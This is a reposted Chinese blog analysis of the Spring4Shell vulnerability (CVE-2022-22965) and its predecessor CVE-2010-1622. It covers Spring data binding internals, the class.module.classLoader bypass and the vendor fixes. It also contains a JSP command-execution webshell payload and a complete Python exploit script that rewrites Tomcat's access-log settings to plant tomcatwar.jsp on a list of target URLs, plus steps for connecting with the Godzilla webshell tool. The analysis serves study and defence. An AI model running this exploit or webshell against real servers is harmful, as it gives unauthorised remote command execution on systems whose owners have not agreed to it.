CVE-2022-22965:spring参数绑定漏洞

news2024/10/2 14:18:27

CVE-2022-22965

博客链接:https://www.blog.23day.site/articles/73

漏洞说明

Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。

漏洞影响范围

Spring Framework < 5.3.18
Spring Framework < 5.2.20

漏洞原理

spring框架在传参的时候会与对应实体类自动参数绑定,通过“.”可以访问对应实体类的引用类型变量。使用getClass方法,通过反射机制获取成员属性。对于简易的利用为获取tomcat的日志配置成员属性,通过set方法,修改目录、内容等属性成员,达到任意文件写入的目的。

前置知识

ClassLoader

类加载器

Class文件是编译好的,可以在jvm虚拟机中直接运行的字节码文件,ClassLoader类加载器负责把class类根据需求,动态地加载到jvm虚拟机中运行。

加载class的方式

Java中两种加载class到jvm中的方式,都是通过类的全名来加载类。其加载过程分为以下三个步骤:

  1. 装载:(loading)找到class对应的字节码文件。
  2. 连接:(linking)将对应的字节码文件读入到JVM中。
  3. 初始化:(initializing)对class做相应的初始化动作。
  • Class.forName(“className”);

    调用方式为:Class.forName(className, true, ClassLoader.getCallerClassLoader())

    className:需要加载的类的名称。

    true:是否对class进行初始化(需要initialize)

    classLoader:对应的类加载器

  • ClassLoader.loadClass(“className”);

    调用方式为:ClassLoader.loadClass(name, false)

    name:需要加载的类的名称

    false:这个类加载以后是否需要去连接

两种方式的区别是forName()得到的class是已经初始化完成的,loadClass()得到的class是还没有连接的。

内省Introspector

内省访问JavaBean有两种方法,具体如下:

  • 先通过java.beans包下的Introspector类获得JavaBean对象的BeanInfo信息,再通过BeanInfo来获取属性的描述器(PropertyDescriptor),然后通过这个属性描述器就可以获取某个属性对应的 getter和setter方法,最后通过反射机制来调用这些方法。

  • 直接通过java.beans包下的PropertyDescriptor类来操作Bean对象

import java.beans.BeanInfo;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;
import cn.itcast.chapter08.javabean.Person;
public class IntrospectorDemo01 {
    public static void main(String[] args) throws Exception {
        //实例化一个Person对象
        Person beanObj = new Person();
        //依据Person产生一个相关的BeanInfo类
        BeanInfo bInfoObject = Introspector.getBeanInfo(beanObj.getClass(),
                                                        beanObj.getClass().getSuperclass());
        String str = "内省成员属性:\n";
        //获取该Bean中的所有属性的信息,以PropertyDescriptor数组的形式返回
        PropertyDescriptor[] mPropertyArray = bInfoObject
            .getPropertyDescriptors();
        for (int i = 0; i < mPropertyArray.length; i++) {
            //获取属性名
            String propertyName = mPropertyArray[i].getName();
            //获取属性类型
            Class propertyType = mPropertyArray[i].getPropertyType();
            //组合成“属性名 (属性的数据类型)”的格式
            str += propertyName + " ( " + propertyType.getName() + " )\n";
        }
        System.out.println(str);
    }
}

第9行代码用于创建Person类的对象,第1112行代码通过内省调用getBeanInfo()方法,获取Person类对象的BeanInfo信息,第1516行代码通过BeanInfo获取属性的描述器,第17~24行代码遍历获取每个属性的属性信息。

    public static void main(String[] args) throws IntrospectionException {
        BeanInfo beanInfo = Introspector.getBeanInfo(Child.class);

        BeanDescriptor beanDescriptor = beanInfo.getBeanDescriptor();
        MethodDescriptor[] methodDescriptors = beanInfo.getMethodDescriptors();
        PropertyDescriptor[] propertyDescriptors = beanInfo.getPropertyDescriptors();

        // 打印
        System.out.println(beanDescriptor);
        System.out.println("------------------------------");
        Arrays.stream(methodDescriptors).forEach(x -> System.out.println(x));
        System.out.println("------------------------------");
        Arrays.stream(propertyDescriptors).forEach(x -> System.out.println(x));
        System.out.println("------------------------------");
    }

BeanWrapper

image.png

BeanWrapper 继承上述三个接口,那么它就具有三重身份:

  • 属性编辑器
  • 属性编辑器注册表
  • 类型转换器

BeanWrapper相当于一个用于分析和操作标准JavaBean结构的代理。拥有获取和设置属性值和属性描述符的功能。

BeanWrapper相当于一个代理器,Spring委托BeanWrapper完成Bean属性的填充工作。

  • 它给属性赋值调用的是Method方法,如readMethod.invokewriteMethod.invoke
  • 它对Bean的操作,大都委托给CachedIntrospectionResults去完成

PropertyDescriptor

属性描述器,BeanWrapper通过他可以获取JavaBean某个单独的属性。主要方法:

  1. getPropertyType(),获得属性的Class对象
  2. getReadMethod(),获得用于读取属性值的方法
  3. getWriteMethod(),获得用于写入属性值的方法
public static void setProperty(UserInfo userInfo, String userName) throws Exception {  
        // 获取bean的某个属性的描述符  
        PropertyDescriptor propDesc = new PropertyDescriptor(userName, UserInfo.class);  
        // 获得用于写入属性值的方法  
        Method methodSetUserName = propDesc.getWriteMethod();  
        // 以Key:Value格式写入属性值  
        methodSetUserName.invoke(userInfo, "zhangsan");  
        System.out.println("set userName:" + userInfo.getUserName());  
    }

CachedIntrospectionResults

缓存Java类的JavaBeans信息(主要是Java类的PropertyDescriptor)的内部类,不能被应用代码直接使用。

CachedIntrospectionResults的缓存信息是被静态存储起来的(应用级别),因此对于同一个类型的被操作的JavaBean并不会都创建一个新的CachedIntrospectionResults,因此,这个类使用了工厂模式,使用私有构造器和一个静态的forClass工厂方法来获取实例。

参数绑定

流程

  1. 客户端发起key:value的请求
  2. 处理器适配器调用spring提供参数绑定的组件将key:value数据转换成controller方法的形参。
  3. controller方法的形参

JavaBean 是一种特殊的类,主要用于传递数据信息,这种类中的方法主要用于访问私有的字段,且方法名符合某种命名规则。如果在两个模块之间传递信息,可以将信息封装进 JavaBean 中。

Spring 会将参数用 .进行分割,前面的参数会自动调用 get***,最后一个参数会自动调用 set***,依次执行。

通过上面这种链式的参数解析规则,我们可以 set*** 实现修改 Spring 框架中某些类的属性。

Databinder

DataBinder类实现了TypeConverter和PropertyEditorRegistry接口,作用主要是把字符串形式的参数转换成服务端真正需要的类型的转换,同时还有校验功能

bind()是数据绑定对象的核心方法,将给定的属性值绑定到此绑定程序的目标

public class DataBinder implements PropertyEditorRegistry, TypeConverter {
    public static final String DEFAULT_OBJECT_NAME = "target";
    public static final int DEFAULT_AUTO_GROW_COLLECTION_LIMIT = 256;
    protected static final Log logger = LogFactory.getLog(DataBinder.class);
    @Nullable
    private final Object target;
    private final String objectName;
    @Nullable
    private AbstractPropertyBindingResult bindingResult;
    private boolean directFieldAccess;
    @Nullable
    private SimpleTypeConverter typeConverter;
    private boolean ignoreUnknownFields;
    private boolean ignoreInvalidFields;
    private boolean autoGrowNestedPaths;
    private int autoGrowCollectionLimit;
    @Nullable
    private String[] allowedFields;
    @Nullable
    private String[] disallowedFields;
    @Nullable
    private String[] requiredFields;
    @Nullable
    private ConversionService conversionService;
    @Nullable
    private MessageCodesResolver messageCodesResolver;
    private BindingErrorProcessor bindingErrorProcessor;
    private final List<Validator> validators;

    public DataBinder(@Nullable Object target) {
        this(target, "target");
    }
    public void bind(PropertyValues pvs) {
        MutablePropertyValues mpvs = pvs instanceof MutablePropertyValues ? (MutablePropertyValues)pvs : new MutablePropertyValues(pvs);
        this.doBind(mpvs);
    }

    protected void doBind(MutablePropertyValues mpvs) {
        this.checkAllowedFields(mpvs);
        this.checkRequiredFields(mpvs);
        this.applyPropertyValues(mpvs);
    }
}

其中bindingResult是BeanPropertyBindingResult的实例,内部会持有一个BeanWrapperImpl。

WebDataBinder

DataBinder有一个子类WebDataBinder,是一个特殊的DataBinder,用于从Web请求参数到JavaBean对象的数据绑定,而WebDataBinder的子类ServletRequestDataBinder用于执行从servlet请求参数到JavaBeans的数据绑定,包括对multipart文件的支持。

image.png

为参数调用bind()方法,这个过程中会调用到最上级的DataBinder类的dobind()方法,从而调用到DataBinder的applyPropertyValues。

protected void applyPropertyValues(MutablePropertyValues mpvs) {
    try {
        this.getPropertyAccessor().setPropertyValues(mpvs, this.isIgnoreUnknownFields(), this.isIgnoreInvalidFields());
    } catch (PropertyBatchUpdateException var7) {
        PropertyAccessException[] var3 = var7.getPropertyAccessExceptions();
        int var4 = var3.length;

        for(int var5 = 0; var5 < var4; ++var5) {
            PropertyAccessException pae = var3[var5];
            this.getBindingErrorProcessor().processPropertyAccessException(pae, this.getInternalBindingResult());
        }
    }
}

applyPropertyValues()方法主要是使用resultBinding对象内的BeanWraperImpl对象完成属性的赋值操作。

public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {
    AbstractNestablePropertyAccessor nestedPa;
    try {
        nestedPa = this.getPropertyAccessorForPropertyPath(propertyName);
    } catch (NotReadablePropertyException var5) {
        throw new NotWritablePropertyException(this.getRootClass(), this.nestedPath + propertyName, "Nested property in path '" + propertyName + "' does not exist", var5);
    }

    PropertyTokenHolder tokens = this.getPropertyNameTokens(this.getFinalPath(nestedPa, propertyName));
    nestedPa.setPropertyValue(tokens, new PropertyValue(propertyName, value));
}
protected AbstractNestablePropertyAccessor getPropertyAccessorForPropertyPath(String propertyPath) {
    int pos = PropertyAccessorUtils.getFirstNestedPropertySeparatorIndex(propertyPath);
    if (pos > -1) {
        String nestedProperty = propertyPath.substring(0, pos);
        String nestedPath = propertyPath.substring(pos + 1);
        AbstractNestablePropertyAccessor nestedPa = this.getNestedPropertyAccessor(nestedProperty);
        return nestedPa.getPropertyAccessorForPropertyPath(nestedPath);
    } else {
        return this;
    }
}

这里如果传进来的propertyPath包含.符号,pos则会赋值大于-1。也就是在这里会一直提取.分割的属性。

进入if语句后调用getNestedPropertyAccessor方法,来到resultBinding对象内的BeanWraperImpl对象的getCachedIntrospectionResults方法。

private CachedIntrospectionResults getCachedIntrospectionResults() {
    if (this.cachedIntrospectionResults == null) {
        this.cachedIntrospectionResults = CachedIntrospectionResults.forClass(this.getWrappedClass());
    }

    return this.cachedIntrospectionResults;
}

CachedIntrospectionResults 缓存了所有的bean中属性的信息,通过调试最后return的cachedIntrospectionResults变量可以看到,能够获取到的PropertyDescriptor属性描述器不仅仅有name,还有关键的class属性。

漏洞分析

在第一次获取Bean的属性信息过程中,会初始化CachedIntrospectionResults从而去调用到其构造方法,但其中有个classLoader和protectionDomain的黑名单,导致于在所有jdk版本下面都不能直接去通过class属性中的classloader进行漏洞利用,所以到这里即便能够操作从bean中获得的动态class,也无法进行进一步利用。

利用jdk9+的新特性,也就是module机制,简称模块化系统,在jdk9+中Class类有一个名为getModule()的新方法,它返回该类作为其成员的模块引用,而包含的模块引用当中就有classloader。

于是可以通过class中的module去间接获取classloader,使CachedIntrospectionResults初始化时的黑名单无效化。

后面的利用思路,就是去思考能利用哪些可控的属性去完成漏洞利用,首先去枚举都有哪些属性。通过输出可以找到很多可以利用的属性。这里选取最经典的tomcat的日志属性。

利用链为

getClass()->LoginControllergetModule()->ModulegetClassLoader()->ParallelWebappClassLoadergetResources()->StandardRootgetContext()->StandardContextgetParent()->StandardEnginegetPipeline()->PipelinegetFirst()->AccessLogValve...
private static final org.apache.juli.logging.Log org.apache.catalina.valves.AccessLogValve.log
private volatile java.lang.String org.apache.catalina.valves.AccessLogValve.dateStamp
private java.lang.String org.apache.catalina.valves.AccessLogValve.directory
protected volatile java.lang.String org.apache.catalina.valves.AccessLogValve.prefix
protected boolean org.apache.catalina.valves.AccessLogValve.rotatable
protected boolean org.apache.catalina.valves.AccessLogValve.renameOnRotate
private boolean org.apache.catalina.valves.AccessLogValve.buffered
private volatile boolean org.apache.catalina.valves.AccessLogValve.checkForOldLogs
.
.
.    
.    
public void org.apache.catalina.valves.AbstractAccessLogValve.setConditionUnless(java.lang.String)
public void org.apache.catalina.valves.ValveBase.setAsyncSupported(boolean)
public final javax.management.ObjectName org.apache.catalina.util.LifecycleMBeanBase.getObjectName()
public native int java.lang.Object.hashCode()
public final native java.lang.Class java.lang.Object.getClass()
public final native void java.lang.Object.notify()
public final native void java.lang.Object.notifyAll()

其中比较值得注意的是其中的pattern,在tomcat中其属性的值由文字文本字符串组成,与前缀为“%”字符的模式标识符组合,还支持从cookie,传入头,传出响应头,Session或ServletRequest中的其他内容中写入信息。

于是就可以构造请求包,将log日志文件后缀改为.jsp,在请求头加入标识符变量值在pattern中构造webshell内容,发送完payload后重新调试可发现已成功修改日志配置。

在实际生产环境中,如果是tomcat直接单独启动的话,可以直接控制写入相对路径为“./webapps/ROOT/”下即可正常访问webshell。

ParallelWebappClassLoader继承WebappClassLoaderBase,WebappClassLoaderBase实现了getResources是WebResourceRoot接口类型,WebResourceRoot接口存在getContext方法,Context接口类型,继承Container,Container实现parent和getPipeline,Pipeline接口实现getfirst。最终得到Valve类型,通过类对象遍历所有成员。

流程总结:

  1. 调用getClass() 拿到Class对象
  2. 通过class对象调用getModule()
  3. 通过Module调用getClassLoader()
  4. 通过ClassLoader拿resources
  5. context是Tomcat的StandardContext
  6. parent拿到的是StandardEngine
  7. pipeline拿到的是StandardPipeline
  8. first拿到的是AccessLogValve

漏洞复现

测试漏洞

构造payload:

<%
if("j".equals(request.getParameter("pwd"))){ 
    java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); 
    int a = -1; 
    byte[] b = new byte[2048]; 
    while((a=in.read(b))!=-1){ 
        out.println(new String(b)); 
    } 
} 
%>

其中敏感信息放置header里面

suffix: %>//
c1: Runtime
c2: <%
  • %{xxx}i 请求headers的信息
  • %{xxx}o 响应headers的信息
  • %{xxx}c 请求cookie的信息
  • %{xxx}r xxx是ServletRequest的一个属性
  • %{xxx}s xxx是HttpSession的一个属性

使用burpsuite构造一个请求

image.png

发送过后访问tomcatwar.jsp,状态码200,说明漏洞存在。

进入靶机内部,查看目标目录,确认已经生成对应jsp

image.png

实现脚本

# coding:utf-8
import time

import requests
import argparse
from urllib.parse import urljoin


def Exploit(url):
    headers = {
        "suffix": "%>//",
        "c1": "Runtime",
        "c2": "<%",
        "DNT": "1",
        "Content-Type": "application/x-www-form-urlencoded",
        "Connection": "close"
    }
    params = {
        # 'class.module.classLoader.resources.context.parent.pipeline.first.pattern': '%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di',
        # 这里不懂啊  为啥用url编码response会出现乱码
        'class.module.classLoader.resources.context.parent.pipeline.first.pattern': '%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i',
        'class.module.classLoader.resources.context.parent.pipeline.first.suffix': '.jsp',
        'class.module.classLoader.resources.context.parent.pipeline.first.directory': 'webapps/ROOT',
        'class.module.classLoader.resources.context.parent.pipeline.first.prefix': 'tomcatwar',
        'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat': ''
    }
    try:
        go = requests.get(url, headers=headers, params=params, timeout=15, allow_redirects=False, verify=False)
        print(go.url)
        print(go.headers)
        # time.sleep(2)
        shellurl = urljoin(url, 'tomcatwar.jsp')
        shellgo = requests.get(shellurl, timeout=15, allow_redirects=False, verify=False)
        print(shellgo.content)
        if shellgo.status_code == 200:
            print(f"The vulnerability exists, the shell address is :{shellurl}?pwd=j&cmd=whoami")
    except Exception as e:
        print(e)
        pass


def main():
    parser = argparse.ArgumentParser(description='Spring-Core Rce.')
    parser.add_argument('--file', help='url file', required=False)
    parser.add_argument('--url', help='target url', required=False)
    args = parser.parse_args()
    # args.url = "http://192.168.181.130:8080"
    if args.url:
        Exploit(args.url)
    if args.file:
        with open(args.file) as f:
            for i in f.readlines():
                i = i.strip()
                Exploit(i)


if __name__ == '__main__':
    main()

Godzilla连接

通过godzilla生成webshell,然后通过burpsuite构造请求。webshell里面只有%不能被正常解析,所以把他放到header里面

image.png

用godzilla连接目标服务器

image.png

连接成功

image.png

相关漏洞

CVE-2010-1622

漏洞原理

Spring支持在控制器接受用户参数的时候使用依赖注入的方式注入一个Java Pojo对象。

Controller接收pojo参数,Spring会自动解析接收到的参数

如果用户传入的是http://localhost:8080/hello?name=zhangsan,那么Spring会调用User.setName('zhangsan')对User类的name进行赋值。也就是攻击者可以直接调用Pojo对象的属性,setter、getter方法。所有Java对象的父类都为Object,Object拥有一个getClass方法用来获取对象的Class.

public final native Class<?> getClass();

而Class对象又有getClassLoader,这个在Tomcat中会获取到org.apache.catalina.loader.ParallelWebappClassLoader(负责加载tomcat中每个应用的类包,每个应用一个),它保存了Tomcat的一些全局配置。CVE-2010-1622的攻击原理就是通过传入http://localhost:8080/hello?name=zhangsan&class.classLoader.xx=xxxx改变Tomcat配置的值来构造恶意操作,例如DoS、写Shell。

修复

CachedIntrospectionResults,会对ClassclassLoader做判断,二者不能连用了。也就是上述的class.classLoader.xx被禁掉了,无法再进行利用

绕过

CVE-2022-22965就是绕过了这个限制,因为在Java9开始,Class对象中增加了getModule方法,获取的是Module类对象

image.png

Java的最小可执行文件是Class,jar则是Class文件的容器,可以打包许多Class。

如果少引用了某个jar可能出现ClassNotFoundException的报错。因为jar作为容器,只打包Class,并不关联Class间的依赖。

而JDK 9开始引入的Module则是主要解决“依赖”的问题。能让a.jar自动定位到依赖的b.jar。Module类的设计引入了getClassLoader方法,返回此模块的ClassLoader。这也是Spring4Shell绕过限制的原因,xx.classLoader被禁止了,但是在JDK9之后可以写成xx.module.classLoader,获取到ClassLoader后就可以利用之前的方式将shell写进日志。

漏洞修复

Tomcat

虽然是spring的漏洞,但tomcat也做了修复

Return copies of the URL array rather than the original. This facilitated CVE-2010-1622 although the root cause was in the Spring Framework. Returning a copy in this case seems like a good idea.

tomcat6.0.28版本后把getURLs方法返回的值改成了clone的,使的我们获得的拷贝版本无法修改classloader中的URLs

Spring

spring则是在CachedIntrospectionResults中获取beanInfo后对其进行了判断,将classloader添加进了黑名单。

image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/95267.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

LabVIEW创建自定义书签管理器

LabVIEW创建自定义书签管理器 书签是一种特殊的标记机制&#xff0c;可以添加到VI框图中。任何以井号标签&#xff08;#&#xff09;开头的文本都将被LabVIEW自动识别为书签。这些可用于标记代码不同部分中的待办事项或未完成的任务。当您将主题标签添加框图注释时&#xff0c…

基于java的贪吃蛇游戏-计算机毕业设计

项目介绍 本游戏采用Java环境和Eclipse开发工具&#xff0c;开发了一个界面美观&#xff0c;操作简单并且功能齐全的贪食蛇游戏&#xff0c;整个游戏分为了10个类&#xff0c;实现了游戏的开始、结束、暂停&#xff0c;通过了本游戏的开发&#xff0c;达到了学习Java及Java GU…

使用新路由器有线/无线桥接旧路由器

问题描述 已有一个无线路由器&#xff0c;但信号不能满足需求&#xff0c;遂购买新路由器对其进行桥接。经过在网上搜索和实践&#xff0c;成功配置&#xff0c;将经验记录成帖。 解决方案 无线桥接 1. 打开新路由器设置界面。&#xff08;根据路由器说明说或者网上搜索对应…

新手学python,如何才能更快升职加薪,迎娶白富美,走上人生巅峰

最近在问答里发现好多咨询怎么学习python&#xff0c;或者学习难不难的问题&#xff0c;这里给大家提几点建议&#xff1a; 了解自己的目标 我开始学编程的时候&#xff0c;连基础的知识都不知道&#xff0c;小白的很&#xff01;记得我开始看教材&#xff0c;就是输入“hello…

Vue系列之使用vue init搭建前端项目

文章の目录一、执行 vue init webpack my-project 注意&#xff08;my-project&#xff09;是自己的项目名写在最后前提执行如下代码 npm install -g vue/cli-init一、执行 vue init webpack my-project 注意&#xff08;my-project&#xff09;是自己的项目名 回车既可&…

【时空融合:遥感图像】

MUSTFN: A spatiotemporal fusion method for multi-scale and multi-sensor remote sensing images based on a convolutional neural network &#xff08;MUSTFN&#xff1a;一种基于卷积神经网络的多尺度多传感器遥感影像时空融合方法&#xff09; &#xff08;第一篇关于…

毕业设计-基于大数据的电影爬取与可视化分析系统-python

目录 前言 课题背景和意义 实现技术思路 实现效果图样例 前言 &#x1f4c5;大四是整个大学期间最忙碌的时光,一边要忙着备考或实习为毕业后面临的就业升学做准备,一边要为毕业设计耗费大量精力。近几年各个学校要求的毕设项目越来越难,有不少课题是研究生级别难度的,对本科…

zabbix——分布式监控系统

目录 zabbix概述 zabbix 是什么 zabbix 监控原理 zabbix常见的五个程序 zabbix端口号 安装 zabbix 5.0 部署 zabbix 服务端 部署 zabbix 客户端 自定义监控内容 在客户端创建自定义 key 在 Web 页面创建自定义监控项模板 zabbix 自动发现与自动注册 zabbix 自动发…

第十四届蓝桥杯集训——if——配套基础示例

第十四届蓝桥杯集训——if——配套基础示例 目录 第十四届蓝桥杯集训——if——配套基础示例 例题1&#xff1a;三角形任意两边之和大于第三边 例题2&#xff1a;判断回文数 例题3&#xff1a;狗的年龄 例题4&#xff1a;帐密登录 例题1&#xff1a;三角形任意两边之和大于…

UOS系统搭建NTP服务

做这题的前提是先把ispsrv的dns配置完善 NTP 安装 ntp&#xff08;使用其他 ntp 软件&#xff0c;以下功能均不得分&#xff09;&#xff1b; 在 AppSrv 和 StorageSrv 上创建 CRON 计划任务&#xff1b; 使用 ntpdate 指令&#xff0c;每隔五分钟进行一次时间同步。 截图实现…

功能胶膜行业发展趋势:政策、需求叠加技术驱动 未来市场发展空间大

OCA光学胶膜、半导体制造用胶膜等均属于功能胶膜。我国功能胶膜行业发展趋势如下&#xff1a; 1、政策陆续出台&#xff0c;将不断夯实功能胶膜行业发展基础 近年来&#xff0c;国家出台了一系列相关政策来推动功能胶膜行业发展与进步&#xff0c;尤其是在2019年&#xff0c;国…

uniCloud云开发之创建创建一个uniapp项目并关联uniCloud

uniCloud云开发之创建创建一个uniapp项目前言1.下载最新版的HBuilderX&#xff0c;并创建一个uniCloud的项目2、关联云服务空间3、会出来需要登录没有登录的去注册一个就好了&#xff0c;然后新建4、这样就关联好云数据库了5、创建云函数6、调用云函数&#xff08;1&#xff09…

十分钟就能上手Prometheus与Grafana监控SpringBoot项目

&#x1f341; 作者&#xff1a;知识浅谈&#xff0c;CSDN签约讲师&#xff0c;CSDN原力作者&#xff0c;后端领域优质创作者&#xff0c;热爱分享创作 &#x1f492; 公众号&#xff1a;知识浅谈 &#x1f4cc; 擅长领域&#xff1a;全栈工程师、爬虫、ACM算法 &#x1f525; …

深度学习——微调笔记+代码

1.微调在深度学习中计算机视觉最重要的技术&#xff0c;微调也是迁移学习 2.标注一个数据集很贵 ①ImageNet标注了1000多万张图片&#xff0c;实际使用120万张图片&#xff0c;类别是1000&#xff0c;大型数据集 ②Fashion-MNIST一共有6万张图片&#xff0c;类别是10&#xf…

matlab:鼠标循环点击器

目录简介使用说明板块1采点板块作用名称解释板块2坐标板块作用名称解释板块3历史数据板块作用名称解释板块4循环点击板块作用名称解释程序附注简介 采集PC端一个或是多个点的位置坐标&#xff0c;对这些位置可以按照次序循环点击。&#xff08;之前玩阴阳师的时候&#xff0c;…

动态规划问题——矩阵的最小路径和

题目&#xff1a; 给定一个矩阵m&#xff0c;从左上角开始每次只能向右或者向下走&#xff0c;最后到达右下角的位置&#xff0c;路径上所有的数字累加起来就是路径和&#xff0c;返回所有路径中最小的路径和。 示例&#xff1a; 给定的m如下&#xff1a; 1 3 …

灌区信息化管理系统解决方案 灌区用水量测系统介绍

平升电子灌区信息化管理系统解决方案/灌区用水量测系统&#xff0c;对灌区的渠道水位、流量、水雨情、土壤墒情、气象等信息进行监测&#xff0c;同时对泵站、闸门进行远程控制&#xff0c;对重点区域进行视频监控&#xff0c;实现了信息的采集、统计、分析、控制等功能&#x…

我国均温板行业发展趋势:5G手机领域需求强劲 今年市场空间或超15亿

均温板&#xff08;VaporChamber&#xff09;技术从原理上类似于热管&#xff0c;但在传导方式上有所区别。热管为一维线性热传导&#xff0c;而真空腔均热板中的热量则是在一个二维的面上传导&#xff0c;因此效率更高。具体来说&#xff0c;真空腔底部的液体在吸收芯片热量后…

【图像去噪】非局部均值(NLM)滤波图像去噪【含Matlab源码 420期】

⛄一、图像去噪及滤波简介 1 图像去噪 1.1 图像噪声定义 噪声是干扰图像视觉效果的重要因素&#xff0c;图像去噪是指减少图像中噪声的过程。噪声分类有三种&#xff1a;加性噪声&#xff0c;乘性噪声和量化噪声。我们用f(x,y&#xff09;表示图像&#xff0c;g(x,y&#xff0…

Spring Cloud Alibaba Sentinel - - > 容错机制

文章目录Sentinel 的作用分布式微服务系统遇到的问题导致服务不可用的原因&#xff1a;Sentinel - - > 容错机制参考&#xff1a;Sentinel 的作用 Sentinel 主要用来解决微服务架构中出现的一些可用性问题&#xff0c;从而实现系统的高可用。系统在运行过程中不可能不出现问…